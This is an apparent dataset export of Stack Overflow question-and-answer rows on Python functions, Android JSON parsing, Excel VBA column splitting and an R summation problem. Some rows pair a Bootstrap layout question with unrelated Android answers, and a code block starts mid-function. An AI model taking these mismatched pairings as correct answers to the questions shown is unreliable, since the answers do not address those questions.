weight = float(weight)
return weight
```
Basically, every variable you use inside the functions should be provided to the function (most of the time as arguments). And all your functions should return the processed value. Here is a working version of your program:
```
def userWeight():
weight = input("Enter your weight in pounds:")
return weight
def userHeight():
height = input("Enter your height in inches:")
return height
def convertWeightFloat(weight):
return float(weight)
def convertHeightFloat(height):
return float(height)
def calculateBMI(weight_float, height_float):
BMI = (5734 * weight_float) / (height_float**2.5)
return BMI
def displayBMI(BMI):
print("Your BMI is:",BMI)
def convertKG(weight_float):
return weight_float * .453592
def convertM(height_float):
return height_float * .0254
def calculateBMImetric(weight_kg, height_meters):
return 1.3 * weight_kg / height_meters**2.5
def displayMetricBMI(BMImetric):
print("Your BMI using Metric calculations is: ", BMImetric)
def main():
weight = userWeight()
height = userHeight()
weight_float = convertWeightFloat(weight)
height_float = convertHeightFloat(height)
bmi = calculateBMI(weight_float, height_float)
displayBMI(bmi)
``` | in main() you call
convertWeightFloat(weight)
but there is no weight defined |
35,598,671 | I have the following header I am trying to code responsively using Twitter Bootstrap:
[](https://i.stack.imgur.com/3DIeA.jpg)
Now for the purple menu bar I am going to use a navbar. However, for the content above, I am really trying to determine the best approach. I am stuck between using media or pull-left and pull-right. I am really unsure what the best approach for this would be.
Any recommendations as to the proper way of coding this using Bootstraps built in classes would be appreciated. Please note that only the logo would be an image, everything else would use fonts and font icons. | 2016/02/24 | [
"https://Stackoverflow.com/questions/35598671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5645843/"
] | ***EDIT***
Use [Volley](https://stackoverflow.com/a/32093822/1921263) if httpclient you can't find.
Moreover parsing script is same which mentioned below.
I already written a [Blog](http://shadowhelios.blogspot.in/2014/10/hot-to-load-json-file-and-display.html). Refer that. Hope it helps. Let me clone my blog to match your requirement. Please use proper naming for that. Here is parsing output.
```
public class GridUI extends Activity {
ArrayList<Persons> personsList;
GridView gridView;
GridAdapter gridAdapter;
private static final String url="http://www.zippytrailers.com/funlearn/topicsMap";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.gridview);
personsList= new ArrayList<Persons>();
new JSONAsyncTask().execute(url);
gridView=(GridView)findViewById(R.id.gridview);
gridAdapter = new GridAdapter(this, R.layout.gridview_row, personsList);
gridView.setAdapter(gridAdapter);
}
class JSONAsyncTask extends AsyncTask<String, Void, Boolean> {
ProgressDialog dialog;
@Override
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
dialog=new ProgressDialog(GridUI.this);
dialog.setMessage("Loading, please wait");
dialog.setTitle("Connecting server");
dialog.show();
dialog.setCancelable(false);
}
@Override
protected Boolean doInBackground(String... urls) {
try {
//------------------>>
HttpGet httppost = new HttpGet(urls[0]);
HttpClient httpclient = new DefaultHttpClient();
HttpResponse response = httpclient.execute(httppost);
// StatusLine stat = response.getStatusLine();
int status = response.getStatusLine().getStatusCode();
if(status==200){
HttpEntity entity = response.getEntity();
String data = EntityUtils.toString(entity);
JSONObject jsono=new JSONObject(data);
JSONArray jarray = jsono.getJSONArray("results");
for (int i = 0; i < jarray.length(); i++) {
JSONObject object = jarray.getJSONObject(i);
Persons name = new Persons();
name.setName(object.getString("syllabus"));
name.setDescription(object.getString("grade"));
name.setDob(object.getString("subject"));
name.setCountry(object.getString("topic"));
name.setHeight(object.getString("id"));
personsList.add(name);
}
return true;
}
} catch (ParseException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
return false;
```
}
```
@Override
protected void onPostExecute(Boolean result) {
super.onPostExecute(result);
dialog.cancel();
gridAdapter.notifyDataSetChanged();
if(result == false)
Toast.makeText(getApplicationContext(), "Unable to fetch data from server", Toast.LENGTH_LONG).show();
}
}
``` | Like this:
```
String myURL = "https://www.myurl.com/file.json";
String jsonResponse = null;
try {
jsonResponse = (String) new RetrieveJSONTask(myURL).execute().get();
} catch (ExecutionException | InterruptedException e) {
// Do something
}
```
If you need to get an object you can do:
```
JSONObject jsonObject = null;
try {
jsonObject = new JSONObject(jsonResponse);
// Here you get an specific tag named "title" from the first object of an array named "itens"
String title = jsonObject.getJSONArray("items").getJSONObject(0).getString("title");
} catch(JSONException e) {
// Do something
}
``` |
35,598,671 | I have the following header I am trying to code responsively using Twitter Bootstrap:
[](https://i.stack.imgur.com/3DIeA.jpg)
Now for the purple menu bar I am going to use a navbar. However, for the content above, I am really trying to determine the best approach. I am stuck between using media or pull-left and pull-right. I am really unsure what the best approach for this would be.
Any recommendations as to the proper way of coding this using Bootstraps built in classes would be appreciated. Please note that only the logo would be an image, everything else would use fonts and font icons. | 2016/02/24 | [
"https://Stackoverflow.com/questions/35598671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5645843/"
] | ```
{
"Employee":[
{
"id":"101",
"name":"Sonoo Jaiswal",
"salary":"50000"
},
{
"id":"102",
"name":"Vimal Jaiswal",
"salary":"60000"
}
]
}
```
Remove "\" from your string data like above.then try to parse.your json is not valid one.
check it on <https://jsonformatter.curiousconcept.com/> | Like this:
```
String myURL = "https://www.myurl.com/file.json";
String jsonResponse = null;
try {
jsonResponse = (String) new RetrieveJSONTask(myURL).execute().get();
} catch (ExecutionException | InterruptedException e) {
// Do something
}
```
If you need to get an object you can do:
```
JSONObject jsonObject = null;
try {
jsonObject = new JSONObject(jsonResponse);
// Here you get an specific tag named "title" from the first object of an array named "itens"
String title = jsonObject.getJSONArray("items").getJSONObject(0).getString("title");
} catch(JSONException e) {
// Do something
}
``` |
35,598,671 | I have the following header I am trying to code responsively using Twitter Bootstrap:
[](https://i.stack.imgur.com/3DIeA.jpg)
Now for the purple menu bar I am going to use a navbar. However, for the content above, I am really trying to determine the best approach. I am stuck between using media or pull-left and pull-right. I am really unsure what the best approach for this would be.
Any recommendations as to the proper way of coding this using Bootstraps built in classes would be appreciated. Please note that only the logo would be an image, everything else would use fonts and font icons. | 2016/02/24 | [
"https://Stackoverflow.com/questions/35598671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5645843/"
] | ***EDIT***
Use [Volley](https://stackoverflow.com/a/32093822/1921263) if httpclient you can't find.
Moreover parsing script is same which mentioned below.
I already written a [Blog](http://shadowhelios.blogspot.in/2014/10/hot-to-load-json-file-and-display.html). Refer that. Hope it helps. Let me clone my blog to match your requirement. Please use proper naming for that. Here is parsing output.
```
public class GridUI extends Activity {
ArrayList<Persons> personsList;
GridView gridView;
GridAdapter gridAdapter;
private static final String url="http://www.zippytrailers.com/funlearn/topicsMap";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.gridview);
personsList= new ArrayList<Persons>();
new JSONAsyncTask().execute(url);
gridView=(GridView)findViewById(R.id.gridview);
gridAdapter = new GridAdapter(this, R.layout.gridview_row, personsList);
gridView.setAdapter(gridAdapter);
}
class JSONAsyncTask extends AsyncTask<String, Void, Boolean> {
ProgressDialog dialog;
@Override
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
dialog=new ProgressDialog(GridUI.this);
dialog.setMessage("Loading, please wait");
dialog.setTitle("Connecting server");
dialog.show();
dialog.setCancelable(false);
}
@Override
protected Boolean doInBackground(String... urls) {
try {
//------------------>>
HttpGet httppost = new HttpGet(urls[0]);
HttpClient httpclient = new DefaultHttpClient();
HttpResponse response = httpclient.execute(httppost);
// StatusLine stat = response.getStatusLine();
int status = response.getStatusLine().getStatusCode();
if(status==200){
HttpEntity entity = response.getEntity();
String data = EntityUtils.toString(entity);
JSONObject jsono=new JSONObject(data);
JSONArray jarray = jsono.getJSONArray("results");
for (int i = 0; i < jarray.length(); i++) {
JSONObject object = jarray.getJSONObject(i);
Persons name = new Persons();
name.setName(object.getString("syllabus"));
name.setDescription(object.getString("grade"));
name.setDob(object.getString("subject"));
name.setCountry(object.getString("topic"));
name.setHeight(object.getString("id"));
personsList.add(name);
}
return true;
}
} catch (ParseException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
return false;
```
}
```
@Override
protected void onPostExecute(Boolean result) {
super.onPostExecute(result);
dialog.cancel();
gridAdapter.notifyDataSetChanged();
if(result == false)
Toast.makeText(getApplicationContext(), "Unable to fetch data from server", Toast.LENGTH_LONG).show();
}
}
``` | Try this code:
```
try {
URL url = new URL("http://www.zippytrailers.com/funlearn/topicsMap");
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
InputStream in = new BufferedInputStream(urlConnection.getInputStream());
BufferedReader reader = new BufferedReader(new InputStreamReader(in, "UTF-8"), 8);
StringBuilder sb = new StringBuilder();
String line = null;
while ((line = reader.readLine()) != null)
{
sb.append(line + "\n");
}
String result = sb.toString();
System.out.println("result"+result);
} catch (Exception e){
System.out.println(" error"+e);
}
``` |
35,598,671 | I have the following header I am trying to code responsively using Twitter Bootstrap:
[](https://i.stack.imgur.com/3DIeA.jpg)
Now for the purple menu bar I am going to use a navbar. However, for the content above, I am really trying to determine the best approach. I am stuck between using media or pull-left and pull-right. I am really unsure what the best approach for this would be.
Any recommendations as to the proper way of coding this using Bootstraps built in classes would be appreciated. Please note that only the logo would be an image, everything else would use fonts and font icons. | 2016/02/24 | [
"https://Stackoverflow.com/questions/35598671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5645843/"
] | ```
{
"Employee":[
{
"id":"101",
"name":"Sonoo Jaiswal",
"salary":"50000"
},
{
"id":"102",
"name":"Vimal Jaiswal",
"salary":"60000"
}
]
}
```
Remove "\" from your string data like above.then try to parse.your json is not valid one.
check it on <https://jsonformatter.curiousconcept.com/> | Try this code:
```
try {
URL url = new URL("http://www.zippytrailers.com/funlearn/topicsMap");
HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();
InputStream in = new BufferedInputStream(urlConnection.getInputStream());
BufferedReader reader = new BufferedReader(new InputStreamReader(in, "UTF-8"), 8);
StringBuilder sb = new StringBuilder();
String line = null;
while ((line = reader.readLine()) != null)
{
sb.append(line + "\n");
}
String result = sb.toString();
System.out.println("result"+result);
} catch (Exception e){
System.out.println(" error"+e);
}
``` |
35,598,671 | I have the following header I am trying to code responsively using Twitter Bootstrap:
[](https://i.stack.imgur.com/3DIeA.jpg)
Now for the purple menu bar I am going to use a navbar. However, for the content above, I am really trying to determine the best approach. I am stuck between using media or pull-left and pull-right. I am really unsure what the best approach for this would be.
Any recommendations as to the proper way of coding this using Bootstraps built in classes would be appreciated. Please note that only the logo would be an image, everything else would use fonts and font icons. | 2016/02/24 | [
"https://Stackoverflow.com/questions/35598671",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5645843/"
] | ***EDIT***
Use [Volley](https://stackoverflow.com/a/32093822/1921263) if httpclient you can't find.
Moreover parsing script is same which mentioned below.
I already written a [Blog](http://shadowhelios.blogspot.in/2014/10/hot-to-load-json-file-and-display.html). Refer that. Hope it helps. Let me clone my blog to match your requirement. Please use proper naming for that. Here is parsing output.
```
public class GridUI extends Activity {
ArrayList<Persons> personsList;
GridView gridView;
GridAdapter gridAdapter;
private static final String url="http://www.zippytrailers.com/funlearn/topicsMap";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.gridview);
personsList= new ArrayList<Persons>();
new JSONAsyncTask().execute(url);
gridView=(GridView)findViewById(R.id.gridview);
gridAdapter = new GridAdapter(this, R.layout.gridview_row, personsList);
gridView.setAdapter(gridAdapter);
}
class JSONAsyncTask extends AsyncTask<String, Void, Boolean> {
ProgressDialog dialog;
@Override
protected void onPreExecute() {
// TODO Auto-generated method stub
super.onPreExecute();
dialog=new ProgressDialog(GridUI.this);
dialog.setMessage("Loading, please wait");
dialog.setTitle("Connecting server");
dialog.show();
dialog.setCancelable(false);
}
@Override
protected Boolean doInBackground(String... urls) {
try {
//------------------>>
HttpGet httppost = new HttpGet(urls[0]);
HttpClient httpclient = new DefaultHttpClient();
HttpResponse response = httpclient.execute(httppost);
// StatusLine stat = response.getStatusLine();
int status = response.getStatusLine().getStatusCode();
if(status==200){
HttpEntity entity = response.getEntity();
String data = EntityUtils.toString(entity);
JSONObject jsono=new JSONObject(data);
JSONArray jarray = jsono.getJSONArray("results");
for (int i = 0; i < jarray.length(); i++) {
JSONObject object = jarray.getJSONObject(i);
Persons name = new Persons();
name.setName(object.getString("syllabus"));
name.setDescription(object.getString("grade"));
name.setDob(object.getString("subject"));
name.setCountry(object.getString("topic"));
name.setHeight(object.getString("id"));
personsList.add(name);
}
return true;
}
} catch (ParseException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (JSONException e) {
e.printStackTrace();
}
return false;
```
}
```
@Override
protected void onPostExecute(Boolean result) {
super.onPostExecute(result);
dialog.cancel();
gridAdapter.notifyDataSetChanged();
if(result == false)
Toast.makeText(getApplicationContext(), "Unable to fetch data from server", Toast.LENGTH_LONG).show();
}
}
``` | ```
{
"Employee":[
{
"id":"101",
"name":"Sonoo Jaiswal",
"salary":"50000"
},
{
"id":"102",
"name":"Vimal Jaiswal",
"salary":"60000"
}
]
}
```
Remove "\" from your string data like above.then try to parse.your json is not valid one.
check it on <https://jsonformatter.curiousconcept.com/> |
53,061,169 | I have a piece of code that is used to split up the text in a cell. The data is outputted by a survey program that doesn't make use of any useful delimiter, so unfortunately converting text to columns isn't of any help to me.
I wrote this piece of code, but it turns out that the outcomes are different in two cases.
1. I run the code step by step until the first column is added, and then let it finish
2. I run the code from the execute macro's menu
In the first case the output is as I designed it to be. After a column with the header `Crop: XXX` (Which contains the raw data that needs to be split) there are columns for each separate entry numbered 1 to X. Data from every row starts to be split in column X and then moves as far as there are entries. Like this:
```
| Crop XXX | 1 | 2 | 3 | 4 |
|-------------|----|----|----|----|
| X1,X2,X3 | X1 | X2 | X3 | |
| X1,X2,X3,X4 | X1 | X2 | X3 | X4 |
```
In the second case all columns are numbered 1, and every new row enters its data before the data of the previous row. Like such:
```
| Crop XXX | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
|-------------|----|----|----|----|----|----|----|
| X1,X2,X3 | | | | | X1 | X2 | X3 |
| X1,X2,X3,X4 | X1 | X2 | X3 | X4 | | | |
```
The code I use to input and number these columns is this:
```
If Not UBound(inarray) = 0 Then
For i = UBound(inarray) To LBound(inarray) Step -1
If ws.Cells(1, col + i).Value = i Then
If i = UBound(inarray) Then
Exit For
End If
col_to_add = col + i + 1
Exit For
Else
addcol = addcol + 1
End If
col_to_add = col + i
Next i
If Not i = UBound(inarray) Then
col1 = ConvertToLetter(col_to_add)
col2 = ConvertToLetter(col_to_add + addcol - 1)
ws.Columns(col1 & ":" & col2).Insert shift:=xlToRight
End If
If Not addcol = 0 Then
For j = 1 To addcol
If col_to_add = col + j Then
If j = 1 Then
ws.Cells(1, col_to_add) = 1
Else
ws.Cells(1, col_to_add + j - 1) = Cells(1, col_to_add + j - 2).Value + 1
End If
Else
ws.Cells(1, col_to_add + j - 1) = Cells(1, col_to_add + j - 2).Value + 1
End If
Next j
End If
For k = UBound(inarray) To LBound(inarray) Step -1
ws.Cells(row, col + k) = inarray(k)
Next k
End If
```
In this example `Inarray()` is a 1d array containing the below values for the first row:
```
| Inarray() | Value |
|-----------|-------|
| 1 | X1 |
| 2 | X2 |
| 3 | X3 |
```
`ConvertToLetter` is the following function:
```
Function ConvertToLetter(iCol As Integer) As String
Dim vArr
vArr = Split(Cells(1, iCol).Address(True, False), "$")
ConvertToLetter = vArr(0)
End Function
```
**Could anyone point out why this difference occurs between scenario 1 and 2?** Usually these things happen when objects aren't fully classified, but I thought I tackled that problem this time. | 2018/10/30 | [
"https://Stackoverflow.com/questions/53061169",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/1481116/"
] | The difference is because the `Cells` and the `Range` are not fully qualified. Thus, when you go step-by-step you are also selecting the correct worksheet and automatically you are not.
Whenever you have something like this:
```
ws.Cells(1, col_to_add + j - 1) = Cells(1, col_to_add + j - 2).Value + 1
```
make sure that you always write the `Worksheet` before the `Cells()` like here - `ws.Cells`. Or before the range - `ws.Range()`. Otherwise it takes the `ActiveSheet` or the sheet where the code is (if not in a module).
* [A similar issue with screenshot explanation](https://stackoverflow.com/a/50465557/5448626) | TextToColumns can accomplish that split and DataSeries can put a sequence of numbers into row 1.
```
Sub Macro4()
Dim lc As Long
With Worksheets("sheet9")
.Range(.Cells(2, "A"), .Cells(.Rows.Count, "A").End(xlUp)).TextToColumns _
Destination:=.Cells(2, "B"), DataType:=xlDelimited, _
TextQualifier:=xlDoubleQuote, ConsecutiveDelimiter:=False, _
Comma:=True, Tab:=False, Semicolon:=False, Space:=False, Other:=False
lc = .Cells.Find(What:=Chr(42), After:=.Cells(1, 1), LookAt:=xlPart, LookIn:=xlFormulas, _
SearchOrder:=xlByColumns, SearchDirection:=xlPrevious).Column - 1
.Cells(1, "B") = 1
.Cells(1, "B").Resize(1, lc).DataSeries Rowcol:=xlRows, Type:=xlLinear, _
Date:=xlDay, Step:=1, Stop:=4
End With
End Sub
```
[](https://i.stack.imgur.com/xZB3t.png) |
47,550,350 | This is a rather simple question but somehow my code either takes long time or consumes more resource. It is a question asked in www.codewars.com which I use for R Programming practice.
Below are the two versions of the problem I coded:
Version 1 :
===========
```
f <- function(n, m){
# Your code here
if(n<=0) return(0) else return((n%%m)+f((n-1),m))
}
```
Version 2:
==========
```
#Function created to calculate the sum of the first half of the vector
created
calculate_sum <- function(x,y){
sum = 0
for(i in x){
sum = sum + i%%y
}
return(sum)
}
#Main function to be called with a test call
f <- function(n, m){
# Your code here
#Trying to create two vectors from the number to calculate the sum
#separately for each half
if(n%%2==0){
first_half = 1:(n/2)
second_half = ((n/2)+1):n
} else {
first_half = 1:floor(n/2)
second_half = (ceiling(n/2)):n
}
sum_first_half = calculate_sum(first_half,m)
sum_second_half = 0
for(j in second_half){
sum_second_half = sum_second_half+(j%%m)
}
return(sum_first_half+sum_second_half)
}
```
I am trying to figure out a way to optimize the code. For the first version it gives the following error message:
>
> Error: C stack usage 7971184 is too close to the limit
> Execution halted
>
>
>
For the second version it says my code took more than 7000 ms and hence was killed.
Can someone give me a few pointers on how to optimize the code in R?? | 2017/11/29 | [
"https://Stackoverflow.com/questions/47550350",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7459047/"
] | The optimisation is mathematical, not programmatical (though as others have mentioned, loops are *slow* in R.)
Firstly, note that `sum(0:(m-1)) = m*(m-1)/2`.
You are being asked to calculate this `n%/%m` times, and add a remainder of `(n - n%/%m)(n - n%/%m + 1)/2`. So you might try
```
f <- function(n,m){
k <- n%/%m
r <- n - k*m
return(k*m*(m-1)/2 + r*(r+1)/2)
}
```
which is a much less complex calculation, and will not take very long regardless of how large n or m is.
There is a risk that, if `n` is greater than 2^53 and `m` does not have enough powers of 2 in its factorisation, there will not be enough precision to calculate `k` and `r` accurately enough. | EDIT: Just Realized it is actually a trick question
I would do
```
n%/%m *sum(1:(m-1)) + sum( 0:(n%%m))
```
Loop are real slow in R. Also, from my experience recursive function in R doesnt help much with the speed and it takes lots of memory |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.